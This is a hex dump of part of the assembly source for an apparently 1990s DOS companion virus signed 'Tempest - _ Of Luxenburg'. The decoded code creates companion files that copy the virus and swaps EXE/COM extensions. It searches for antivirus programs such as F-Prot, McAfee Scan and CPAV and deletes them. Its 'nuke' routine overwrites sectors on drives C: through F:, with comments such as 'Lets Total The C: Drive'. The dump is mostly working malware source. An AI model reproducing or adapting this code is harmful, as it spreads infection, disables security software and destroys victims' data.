|00001090| 20 20 20 20 0a 09 09 0a | 09 09 6d 6f 76 20 20 20 | ....|..mov |
|000010a0| 20 20 61 78 2c 33 35 32 | 34 68 20 20 20 20 20 20 | ax,352|4h |
|000010b0| 20 20 20 0a 09 09 69 6e | 74 20 20 20 20 20 32 31 | ...in|t 21|
|000010c0| 68 20 20 20 20 20 20 20 | 20 0a 09 09 70 75 73 68 |h | ...push|
|000010d0| 20 20 20 20 62 78 0a 09 | 09 70 75 73 68 20 20 20 | bx..|.push |
|000010e0| 20 65 73 0a 09 09 70 75 | 73 68 20 20 20 20 63 73 | es...pu|sh cs|
|000010f0| 0a 09 09 70 6f 70 20 20 | 20 20 20 64 73 0a 09 09 |...pop | ds...|
|00001100| 6d 6f 76 20 20 20 20 20 | 64 78 2c 6f 66 66 73 65 |mov |dx,offse|
|00001110| 74 20 6e 65 77 5f 32 34 | 68 0a 09 09 6d 6f 76 20 |t new_24|h...mov |
|00001120| 20 20 20 20 61 68 2c 32 | 35 68 0a 09 09 70 75 73 | ah,2|5h...pus|
|00001130| 68 20 20 20 20 61 78 0a | 09 09 69 6e 74 20 20 20 |h ax.|..int |
|00001140| 20 20 32 31 68 0a 09 09 | 0a 09 09 0a 09 09 6c 64 | 21h...|......ld|
|00001150| 73 20 20 20 20 20 64 78 | 2c 64 77 6f 72 64 20 70 |s dx|,dword p|
|00001160| 74 72 20 5b 6e 61 6d 65 | 70 74 72 5d 20 20 3b 63 |tr [name|ptr] ;c|
|00001170| 72 65 61 74 65 20 74 68 | 65 20 76 69 72 75 73 20 |reate th|e virus |
|00001180| 0a 28 75 6e 69 71 75 65 | 20 6e 61 6d 65 29 0a 09 |.(unique| name)..|
|00001190| 09 78 6f 72 20 20 20 20 | 20 63 78 2c 63 78 0a 09 |.xor | cx,cx..|
|000011a0| 09 6d 6f 76 20 20 20 20 | 20 61 68 2c 30 35 42 68 |.mov | ah,05Bh|
|000011b0| 0a 09 09 69 6e 74 20 20 | 20 20 20 32 31 0a 09 09 |...int | 21...|
|000011c0| 6a 63 20 20 20 20 20 20 | 72 65 74 75 72 6e 31 20 |jc |return1 |
|000011d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000011e0| 0a 09 09 78 63 68 67 20 | 20 20 20 62 78 2c 61 78 |...xchg | bx,ax|
|000011f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001200| 20 20 20 3b 73 61 76 65 | 20 68 61 6e 64 6c 65 0a | ;save| handle.|
|00001210| 09 09 0a 0a 0a 09 09 70 | 75 73 68 20 20 20 20 63 |.......p|ush c|
|00001220| 73 0a 09 09 70 6f 70 20 | 20 20 20 20 64 73 0a 09 |s...pop | ds..|
|00001230| 09 6d 6f 76 20 20 20 20 | 20 63 78 2c 66 69 6c 65 |.mov | cx,file|
|00001240| 6c 65 6e 67 74 68 20 20 | 20 20 20 20 20 20 20 20 |length | |
|00001250| 3b 63 78 3d 20 6c 65 6e | 67 74 68 20 6f 66 20 76 |;cx= len|gth of v|
|00001260| 69 72 75 73 0a 09 09 6d | 6f 76 20 20 20 20 20 64 |irus...m|ov d|
|00001270| 78 2c 6f 66 66 73 65 74 | 20 62 65 67 69 6e 20 20 |x,offset| begin |
|00001280| 20 20 20 20 20 20 3b 77 | 68 65 72 65 20 74 6f 20 | ;w|here to |
|00001290| 73 74 61 72 74 20 63 6f | 70 79 69 6e 67 0a 09 09 |start co|pying...|
|000012a0| 6d 6f 76 20 20 20 20 20 | 61 68 2c 34 30 68 20 20 |mov |ah,40h |
|000012b0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 3b | | ;|
|000012c0| 77 72 69 74 65 20 74 68 | 65 20 76 69 72 75 73 20 |write th|e virus |
|000012d0| 74 6f 20 74 68 65 20 0a | 09 09 69 6e 74 20 20 20 |to the .|..int |
|000012e0| 20 20 32 31 68 20 20 20 | 20 20 20 20 20 20 20 20 | 21h | |
|000012f0| 20 20 20 20 20 20 20 20 | 20 3b 6e 65 77 20 66 69 | | ;new fi|
|00001300| 6c 65 0a 0a 09 09 6d 6f | 76 20 20 20 20 20 61 68 |le....mo|v ah|
|00001310| 2c 33 45 68 20 20 20 20 | 20 20 20 20 20 20 20 20 |,3Eh | |
|00001320| 20 20 20 20 20 3b 20 63 | 6c 6f 73 65 0a 09 09 69 | ; c|lose...i|
|00001330| 6e 74 20 20 20 20 20 32 | 31 68 0a 0a 72 65 74 75 |nt 2|1h..retu|
|00001340| 72 6e 31 3a 20 20 20 20 | 20 20 20 20 70 6f 70 20 |rn1: | pop |
|00001350| 20 20 20 20 61 78 0a 09 | 09 70 6f 70 20 20 20 20 | ax..|.pop |
|00001360| 20 64 73 0a 09 09 70 6f | 70 20 20 20 20 20 64 78 | ds...po|p dx|
|00001370| 0a 09 09 69 6e 74 20 20 | 20 20 20 32 31 68 0a 09 |...int | 21h..|
|00001380| 09 0a 09 09 70 6f 70 20 | 20 20 20 20 61 78 0a 09 |....pop | ax..|
|00001390| 09 70 6f 70 20 20 20 20 | 20 64 78 0a 09 09 69 6e |.pop | dx...in|
|000013a0| 74 20 20 20 20 20 32 31 | 68 0a 09 09 0a 09 09 6d |t 21|h......m|
|000013b0| 6f 76 20 20 20 20 20 73 | 69 2c 6f 66 66 73 65 74 |ov s|i,offset|
|000013c0| 20 45 58 45 5f 74 78 74 | 0a 09 09 63 61 6c 6c 20 | EXE_txt|...call |
|000013d0| 20 20 20 63 68 61 6e 67 | 65 5f 65 78 74 0a 09 09 | chang|e_ext...|
|000013e0| 0a 72 65 74 75 72 6e 3a | 20 20 20 20 20 20 20 20 |.return:| |
|000013f0| 20 6d 6f 76 20 20 20 20 | 20 61 68 2c 31 41 68 0a | mov | ah,1Ah.|
|00001400| 09 09 70 6f 70 20 20 20 | 20 20 64 78 0a 09 09 70 |..pop | dx...p|
|00001410| 6f 70 20 20 20 20 20 64 | 73 0a 09 09 69 6e 74 20 |op d|s...int |
|00001420| 20 20 20 20 20 32 31 48 | 0a 0a 09 09 72 65 74 0a | 21H|....ret.|
|00001430| 0a 64 6f 5f 63 6f 6d 3a | 20 20 20 20 20 20 20 20 |.do_com:| |
|00001440| 20 63 61 6c 6c 20 20 20 | 20 66 69 6e 64 66 69 72 | call | findfir|
|00001450| 73 74 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |st | |
|00001460| 20 20 20 0a 09 09 63 6d | 70 20 20 20 20 20 77 6f | ...cm|p wo|
|00001470| 72 64 20 70 74 72 20 63 | 73 3a 5b 44 54 41 2b 31 |rd ptr c|s:[DTA+1|
|00001480| 41 68 5d 2c 65 6e 64 69 | 74 20 2d 20 62 65 67 69 |Ah],endi|t - begi|
|00001490| 6e 0a 09 09 6a 6e 65 20 | 20 20 20 20 72 65 74 75 |n...jne | retu|
|000014a0| 72 6e 0a 09 09 6d 6f 76 | 20 20 20 20 20 73 69 2c |rn...mov| si,|
|000014b0| 6f 66 66 73 65 74 20 45 | 58 45 5f 74 78 74 0a 09 |offset E|XE_txt..|
|000014c0| 09 63 61 6c 6c 20 20 20 | 20 63 68 61 6e 67 65 5f |.call | change_|
|000014d0| 65 78 74 0a 09 09 63 61 | 6c 6c 20 20 20 20 66 69 |ext...ca|ll fi|
|000014e0| 6e 64 66 69 72 73 74 0a | 09 09 6a 6e 63 20 20 20 |ndfirst.|..jnc |
|000014f0| 20 20 72 65 74 75 72 6e | 0a 09 09 6d 6f 76 20 20 | return|...mov |
|00001500| 20 20 20 73 69 2c 6f 66 | 66 73 65 74 20 43 4f 4d | si,of|fset COM|
|00001510| 5f 74 78 74 0a 09 09 63 | 61 6c 6c 20 20 20 20 63 |_txt...c|all c|
|00001520| 68 61 6e 67 65 5f 65 78 | 74 0a 09 09 6a 6d 70 20 |hange_ex|t...jmp |
|00001530| 20 20 20 20 73 68 6f 72 | 74 20 72 65 74 75 72 6e | shor|t return|
|00001540| 0a 0a 73 65 61 72 63 68 | 70 6f 69 6e 74 3a 20 20 |..search|point: |
|00001550| 20 20 6c 65 73 20 20 20 | 20 20 64 69 2c 64 77 6f | les | di,dwo|
|00001560| 72 64 20 70 74 72 20 63 | 73 3a 5b 6e 61 6d 65 70 |rd ptr c|s:[namep|
|00001570| 74 72 5d 0a 09 09 6d 6f | 76 20 20 20 20 20 63 68 |tr]...mo|v ch|
|00001580| 2c 30 46 46 68 0a 09 09 | 6d 6f 76 20 20 20 20 20 |,0FFh...|mov |
|00001590| 61 6c 2c 30 0a 09 20 72 | 65 70 6e 7a 20 20 73 63 |al,0.. r|epnz sc|
|000015a0| 61 73 62 0a 09 09 73 75 | 62 20 20 20 20 20 64 69 |asb...su|b di|
|000015b0| 2c 34 0a 09 09 72 65 74 | 0a 63 68 61 6e 67 65 5f |,4...ret|.change_|
|000015c0| 65 78 74 3a 20 20 20 20 | 20 63 61 6c 6c 20 20 20 |ext: | call |
|000015d0| 20 73 65 61 72 63 68 70 | 6f 69 6e 74 0a 09 09 70 | searchp|oint...p|
|000015e0| 75 73 68 20 20 20 20 63 | 73 0a 09 09 70 6f 70 20 |ush c|s...pop |
|000015f0| 20 20 20 20 64 73 0a 09 | 09 6d 6f 76 73 77 0a 09 | ds..|.movsw..|
|00001600| 09 6d 6f 76 73 77 0a 09 | 09 72 65 74 0a 0a 66 69 |.movsw..|.ret..fi|
|00001610| 6e 64 66 69 72 73 74 3a | 20 20 20 20 20 20 6c 64 |ndfirst:| ld|
|00001620| 73 20 20 20 20 20 64 78 | 2c 64 77 6f 72 64 20 70 |s dx|,dword p|
|00001630| 74 72 20 5b 6e 61 6d 65 | 70 74 72 5d 0a 09 09 6d |tr [name|ptr]...m|
|00001640| 6f 76 20 20 20 20 20 63 | 6c 2c 32 37 68 0a 09 09 |ov c|l,27h...|
|00001650| 6d 6f 76 20 20 20 20 20 | 61 68 2c 34 45 68 0a 09 |mov |ah,4Eh..|
|00001660| 09 69 6e 74 20 20 20 20 | 20 32 31 68 0a 09 09 72 |.int | 21h...r|
|00001670| 65 74 0a 09 09 09 20 0a | 74 68 65 5f 73 74 69 6e |et.... .|the_stin|
|00001680| 67 65 72 3a 0a 09 09 63 | 6d 70 20 20 20 20 20 77 |ger:...c|mp w|
|00001690| 6f 72 64 20 70 74 72 20 | 65 73 3a 5b 64 69 2d 33 |ord ptr |es:[di-3|
|000016a0| 5d 2c 27 4d 49 27 20 20 | 20 20 3b 49 6e 74 65 67 |],'MI' | ;Integ|
|000016b0| 72 69 74 79 20 4d 61 73 | 74 65 72 0a 09 09 6a 65 |rity Mas|ter...je|
|000016c0| 20 20 20 20 20 20 6a 75 | 6d 70 74 6f 61 73 73 20 | ju|mptoass |
|000016d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 0a | | .|
|000016e0| 09 09 0a 09 09 63 6d 70 | 20 20 20 20 20 77 6f 72 |.....cmp| wor|
|000016f0| 64 20 70 74 72 20 65 73 | 3a 5b 64 69 2d 33 5d 2c |d ptr es|:[di-3],|
|00001700| 27 58 52 27 20 20 20 20 | 3b 56 49 52 58 0a 09 09 |'XR' |;VIRX...|
|00001710| 6a 65 20 20 20 20 20 20 | 6a 75 6d 70 74 6f 61 73 |je |jumptoas|
|00001720| 73 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |s | |
|00001730| 20 0a 09 09 0a 09 09 63 | 6d 70 20 20 20 20 20 77 | ......c|mp w|
|00001740| 6f 72 64 20 70 74 72 20 | 65 73 3a 5b 64 69 2d 33 |ord ptr |es:[di-3|
|00001750| 5d 2c 27 50 4f 27 20 20 | 20 20 3b 56 49 52 55 53 |],'PO' | ;VIRUS|
|00001760| 54 4f 50 0a 09 09 6a 6e | 65 20 20 20 20 20 6e 65 |TOP...jn|e ne|
|00001770| 78 74 31 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |xt1 | |
|00001780| 20 20 20 20 20 20 20 20 | 0a 09 09 63 6d 70 20 20 | |...cmp |
|00001790| 20 20 20 77 6f 72 64 20 | 70 74 72 20 65 73 3a 5b | word |ptr es:[|
|000017a0| 64 69 2d 35 5d 2c 27 54 | 53 27 20 20 20 0a 09 09 |di-5],'T|S' ...|
|000017b0| 6a 65 20 20 20 20 20 20 | 6a 75 6d 70 74 6f 61 73 |je |jumptoas|
|000017c0| 73 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |s | |
|000017d0| 20 0a 0a 6e 65 78 74 31 | 3a 20 20 20 20 20 20 20 | ..next1|: |
|000017e0| 20 20 20 63 6d 70 20 20 | 20 20 20 77 6f 72 64 20 | cmp | word |
|000017f0| 70 74 72 20 65 73 3a 5b | 64 69 2d 33 5d 2c 27 56 |ptr es:[|di-3],'V|
|00001800| 41 27 20 20 20 20 3b 41 | 56 20 3d 20 43 50 41 56 |A' ;A|V = CPAV|
|00001810| 0a 09 09 6a 65 20 20 20 | 20 20 20 6a 75 6d 70 74 |...je | jumpt|
|00001820| 6f 61 73 73 20 20 20 20 | 20 20 20 20 20 20 20 20 |oass | |
|00001830| 20 20 20 20 20 20 20 20 | 20 0a 09 09 0a 09 09 63 | | ......c|
|00001840| 6d 70 20 20 20 20 20 77 | 6f 72 64 20 70 74 72 20 |mp w|ord ptr |
|00001850| 65 73 3a 5b 64 69 2d 33 | 5d 2c 27 54 4f 27 20 20 |es:[di-3|],'TO' |
|00001860| 20 20 3b 2a 70 72 6f 74 | 20 3d 20 46 2d 70 72 6f | ;*prot| = F-pro|
|00001870| 74 0a 09 09 6a 6e 65 20 | 20 20 20 20 6e 65 78 74 |t...jne | next|
|00001880| 32 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |2 | |
|00001890| 20 0a 09 09 63 6d 70 20 | 20 20 20 20 77 6f 72 64 | ...cmp | word|
|000018a0| 20 70 74 72 20 65 73 3a | 5b 64 69 2d 35 5d 2c 27 | ptr es:|[di-5],'|
|000018b0| 52 50 27 20 20 0a 09 09 | 6a 65 20 20 20 20 20 20 |RP' ...|je |
|000018c0| 6a 75 6d 70 74 6f 61 73 | 73 20 20 20 20 20 20 20 |jumptoas|s |
|000018d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 0a 0a | | ..|
|000018e0| 6e 65 78 74 32 3a 20 20 | 20 20 20 20 20 20 20 20 |next2: | |
|000018f0| 63 6d 70 20 20 20 20 20 | 77 6f 72 64 20 70 74 72 |cmp |word ptr|
|00001900| 20 65 73 3a 5b 64 69 2d | 33 5d 2c 27 4e 41 27 20 | es:[di-|3],'NA' |
|00001910| 20 20 20 3b 2a 73 63 61 | 6e 20 3d 20 4d 63 41 66 | ;*sca|n = McAf|
|00001920| 65 65 27 73 20 0a 53 63 | 61 6e 2e 0a 09 09 6a 6e |ee's .Sc|an....jn|
|00001930| 65 20 20 20 20 20 6e 65 | 78 74 33 20 20 20 20 20 |e ne|xt3 |
|00001940| 20 20 20 20 20 20 20 20 | 20 20 20 0a 09 09 63 6d | | ...cm|
|00001950| 70 20 20 20 20 20 77 6f | 72 64 20 70 74 72 20 65 |p wo|rd ptr e|
|00001960| 73 3a 5b 64 69 2d 35 5d | 2c 27 43 53 27 20 20 0a |s:[di-5]|,'CS' .|
|00001970| 09 09 6a 65 20 20 20 20 | 20 20 6a 75 6d 70 74 6f |..je | jumpto|
|00001980| 61 73 73 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |ass | |
|00001990| 20 20 20 20 20 20 20 20 | 0a 09 09 0a 09 09 63 6d | |......cm|
|000019a0| 70 20 20 20 20 20 77 6f | 72 64 20 70 74 72 20 65 |p wo|rd ptr e|
|000019b0| 73 3a 5b 64 69 2d 33 5d | 2c 27 4e 41 27 20 20 20 |s:[di-3]|,'NA' |
|000019c0| 20 3b 2a 6c 65 61 6e 20 | 3d 20 4d 63 41 66 65 65 | ;*lean |= McAfee|
|000019d0| 27 73 20 0a 43 4c 45 41 | 4e 2e 0a 09 09 6a 6e 65 |'s .CLEA|N....jne|
|000019e0| 20 20 20 20 20 6e 65 78 | 74 33 20 20 20 20 20 20 | nex|t3 |
|000019f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001a00| 3b 20 77 68 79 20 6e 6f | 74 2c 20 65 68 3f 0a 09 |; why no|t, eh?..|
|00001a10| 09 63 6d 70 20 20 20 20 | 20 77 6f 72 64 20 70 74 |.cmp | word pt|
|00001a20| 72 20 65 73 3a 5b 64 69 | 2d 35 5d 2c 27 45 4c 27 |r es:[di|-5],'EL'|
|00001a30| 20 20 0a 09 09 6a 65 20 | 20 20 20 20 20 6a 75 6d | ...je | jum|
|00001a40| 70 74 6f 61 73 73 20 20 | 20 20 20 20 20 20 20 20 |ptoass | |
|00001a50| 20 20 20 20 20 20 20 20 | 20 20 20 0a 6e 65 78 74 | | .next|
|00001a60| 33 3a 20 20 20 20 20 20 | 20 20 20 20 72 65 74 20 |3: | ret |
|00001a70| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 0a | | .|
|00001a80| 6a 75 6d 70 74 6f 61 73 | 73 3a 20 20 20 20 20 20 |jumptoas|s: |
|00001a90| 6a 6d 70 20 20 20 20 20 | 6e 75 6b 65 20 20 20 20 |jmp |nuke |
|00001aa0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 61 | | ;a|
|00001ab0| 73 73 61 73 73 69 6e 61 | 74 69 6f 6e 20 28 64 65 |ssassina|tion (de|
|00001ac0| 6c 65 74 69 6f 6e 29 0a | 09 09 09 09 09 09 3b 20 |letion).|......; |
|00001ad0| 6f 66 20 61 6e 74 69 2d | 76 69 72 75 73 20 70 72 |of anti-|virus pr|
|00001ae0| 6f 67 72 61 6d 0a 0a 09 | 09 0a 09 09 0a 6e 75 6b |ogram...|.....nuk|
|00001af0| 65 3a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |e: | |
|00001b00| 20 20 0a 09 09 6d 6f 76 | 20 20 20 20 20 61 6c 2c | ...mov| al,|
|00001b10| 32 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |2 | |
|00001b20| 20 20 20 20 3b 4c 65 74 | 73 20 54 6f 74 61 6c 20 | ;Let|s Total |
|00001b30| 54 68 65 20 43 3a 20 44 | 72 69 76 65 0a 09 09 6d |The C: D|rive...m|
|00001b40| 6f 76 20 20 20 20 20 63 | 78 2c 32 35 0a 09 09 63 |ov c|x,25...c|
|00001b50| 6c 69 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |li | |
|00001b60| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 3b | | ;|
|00001b70| 20 4b 65 65 70 73 20 56 | 69 63 74 69 6d 20 46 72 | Keeps V|ictim Fr|
|00001b80| 6f 6d 20 0a 41 62 6f 72 | 74 69 6e 67 0a 09 09 63 |om .Abor|ting...c|
|00001b90| 77 64 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |wd | |
|00001ba0| 20 20 20 20 20 20 20 20 | 20 20 20 20 0a 09 09 69 | | ...i|
|00001bb0| 6e 74 20 20 20 20 20 30 | 32 36 68 20 20 20 20 20 |nt 0|26h |
|00001bc0| 20 20 20 20 20 20 20 20 | 20 20 20 0a 09 09 73 74 | | ...st|
|00001bd0| 69 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |i | |
|00001be0| 20 20 20 20 20 20 20 20 | 20 20 0a 0a 09 09 6d 6f | | ....mo|
|00001bf0| 76 20 20 20 20 20 61 6c | 2c 33 20 20 20 20 20 20 |v al|,3 |
|00001c00| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 3b 4c 65 | | ;Le|
|00001c10| 74 73 20 54 6f 74 61 6c | 20 54 68 65 20 44 3a 20 |ts Total| The D: |
|00001c20| 44 72 69 76 65 0a 09 09 | 6d 6f 76 20 20 20 20 20 |Drive...|mov |
|00001c30| 63 78 2c 32 35 0a 09 09 | 63 6c 69 20 20 20 20 20 |cx,25...|cli |
|00001c40| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001c50| 20 20 20 20 20 20 20 20 | 3b 20 4b 65 65 70 73 20 | |; Keeps |
|00001c60| 56 69 63 74 69 6d 20 46 | 72 6f 6d 20 0a 41 62 6f |Victim F|rom .Abo|
|00001c70| 72 74 69 6e 67 0a 09 09 | 63 77 64 20 20 20 20 20 |rting...|cwd |
|00001c80| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001c90| 20 20 20 20 20 0a 09 09 | 69 6e 74 20 20 20 20 20 | ...|int |
|00001ca0| 30 32 36 68 20 20 20 20 | 20 20 20 20 20 20 20 20 |026h | |
|00001cb0| 20 20 20 20 0a 09 09 73 | 74 69 20 20 20 20 20 20 | ...s|ti |
|00001cc0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001cd0| 20 20 20 0a 0a 09 09 6d | 6f 76 20 20 20 20 20 61 | ....m|ov a|
|00001ce0| 6c 2c 33 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |l,3 | |
|00001cf0| 20 20 20 20 20 20 3b 4c | 65 74 73 20 54 6f 74 61 | ;L|ets Tota|
|00001d00| 6c 20 54 68 65 20 45 3a | 20 44 72 69 76 65 0a 09 |l The E:| Drive..|
|00001d10| 09 6d 6f 76 20 20 20 20 | 20 63 78 2c 32 35 0a 09 |.mov | cx,25..|
|00001d20| 09 63 6c 69 20 20 20 20 | 20 20 20 20 20 20 20 20 |.cli | |
|00001d30| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001d40| 20 3b 20 4b 65 65 70 73 | 20 56 69 63 74 69 6d 20 | ; Keeps| Victim |
|00001d50| 46 72 6f 6d 20 0a 41 62 | 6f 72 74 69 6e 67 0a 09 |From .Ab|orting..|
|00001d60| 09 63 77 64 20 20 20 20 | 20 20 20 20 20 20 20 20 |.cwd | |
|00001d70| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 0a 09 | | ..|
|00001d80| 09 69 6e 74 20 20 20 20 | 20 30 32 36 68 20 20 20 |.int | 026h |
|00001d90| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 0a 09 09 | | ...|
|00001da0| 73 74 69 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |sti | |
|00001db0| 20 20 20 20 20 20 20 20 | 20 20 20 20 0a 0a 0a 09 | | ....|
|00001dc0| 09 6d 6f 76 20 20 20 20 | 20 61 6c 2c 35 20 20 20 |.mov | al,5 |
|00001dd0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001de0| 3b 4c 65 74 73 20 54 6f | 74 61 6c 20 54 68 65 20 |;Lets To|tal The |
|00001df0| 46 3a 20 44 72 69 76 65 | 0a 09 09 6d 6f 76 20 20 |F: Drive|...mov |
|00001e00| 20 20 20 63 78 2c 32 35 | 0a 09 09 63 6c 69 20 20 | cx,25|...cli |
|00001e10| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001e20| 20 20 20 20 20 20 20 20 | 20 20 20 3b 20 4b 65 65 | | ; Kee|
|00001e30| 70 73 20 56 69 63 74 69 | 6d 20 46 72 6f 6d 20 0a |ps Victi|m From .|
|00001e40| 41 62 6f 72 74 69 6e 67 | 0a 09 09 63 77 64 20 20 |Aborting|...cwd |
|00001e50| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001e60| 20 20 20 20 20 20 20 20 | 0a 09 09 69 6e 74 20 20 | |...int |
|00001e70| 20 20 20 30 32 36 68 20 | 20 20 20 20 20 20 20 20 | 026h | |
|00001e80| 20 20 20 20 20 20 20 0a | 09 09 73 74 69 20 20 20 | .|..sti |
|00001e90| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001ea0| 20 20 20 20 20 20 0a 0a | 0a 45 58 45 5f 74 78 74 | ..|.EXE_txt|
|00001eb0| 20 20 20 20 20 20 20 20 | 20 64 62 20 20 27 45 58 | | db 'EX|
|00001ec0| 45 27 2c 30 0a 43 4f 4d | 5f 74 78 74 20 20 20 20 |E',0.COM|_txt |
|00001ed0| 20 20 20 20 20 64 62 20 | 20 27 43 4f 4d 27 2c 30 | db | 'COM',0|
|00001ee0| 0a 0a 20 0a 0a 64 61 74 | 61 5f 31 20 20 20 20 20 |.. ..dat|a_1 |
|00001ef0| 20 20 20 20 20 64 62 20 | 20 20 20 20 20 30 0a 64 | db | 0.d|
|00001f00| 61 74 61 5f 32 20 20 20 | 20 20 20 20 20 20 20 64 |ata_2 | d|
|00001f10| 62 20 20 20 20 20 20 30 | 0a 0a 6c 61 73 74 20 20 |b 0|..last |
|00001f20| 20 20 20 20 20 20 20 20 | 20 20 64 62 20 20 20 20 | | db |
|00001f30| 20 30 39 30 48 0a 6e 61 | 6d 65 5f 73 65 67 20 20 | 090H.na|me_seg |
|00001f40| 20 20 20 20 20 20 64 77 | 20 20 3f 0a 6e 61 6d 65 | dw| ?.name|
|00001f50| 5f 6f 66 66 20 20 20 20 | 20 20 20 20 64 77 20 20 |_off | dw |
|00001f60| 3f 0a 0a 63 31 20 20 20 | 20 20 20 20 20 20 20 20 |?..c1 | |
|00001f70| 20 20 20 64 62 20 20 20 | 20 20 20 20 30 20 20 20 | db | 0 |
|00001f80| 20 20 20 20 20 20 20 0a | 63 32 20 20 20 20 20 20 | .|c2 |
|00001f90| 20 20 20 20 20 20 20 20 | 64 62 20 20 20 20 20 20 | |db |
|00001fa0| 20 30 20 20 20 20 20 20 | 20 20 20 20 0a 63 33 20 | 0 | .c3 |
|00001fb0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 64 62 20 | | db |
|00001fc0| 20 20 20 20 20 20 30 20 | 20 20 20 20 20 20 20 20 | 0 | |
|00001fd0| 20 0a 63 34 20 20 20 20 | 20 20 20 20 20 20 20 20 | .c4 | |
|00001fe0| 20 20 64 62 20 20 20 20 | 20 20 20 30 20 20 20 20 | db | 0 |
|00001ff0| 20 20 20 20 20 20 0a 63 | 35 20 20 20 20 20 20 20 | .c|5 |
|00002000| 20 20 20 20 20 20 20 64 | 62 20 20 20 20 20 20 20 | d|b |
|00002010| 30 20 20 20 20 20 20 20 | 20 20 20 0a 76 69 72 75 |0 | .viru|
|00002020| 73 5f 6d 61 6e 3a 20 20 | 20 20 20 20 64 62 20 20 |s_man: | db |
|00002030| 20 20 20 20 27 54 65 6d | 70 65 73 74 20 2d 20 5f | 'Tem|pest - _|
|00002040| 20 4f 66 20 4c 75 78 65 | 6e 62 75 72 67 27 0a 09 | Of Luxe|nburg'..|
|00002050| 09 09 20 20 20 0a 65 6e | 64 69 74 3a 0a 0a 0a 63 |.. .en|dit:...c|
|00002060| 73 65 67 20 20 20 20 20 | 20 20 20 20 20 20 20 65 |seg | e|
|00002070| 6e 64 73 0a 09 09 65 6e | 64 20 62 65 67 69 6e 0a |nds...en|d begin.|
|00002080| 0a 0a 0a 0a 0a | |..... | |
+--------+-------------------------+-------------------------+--------+--------+
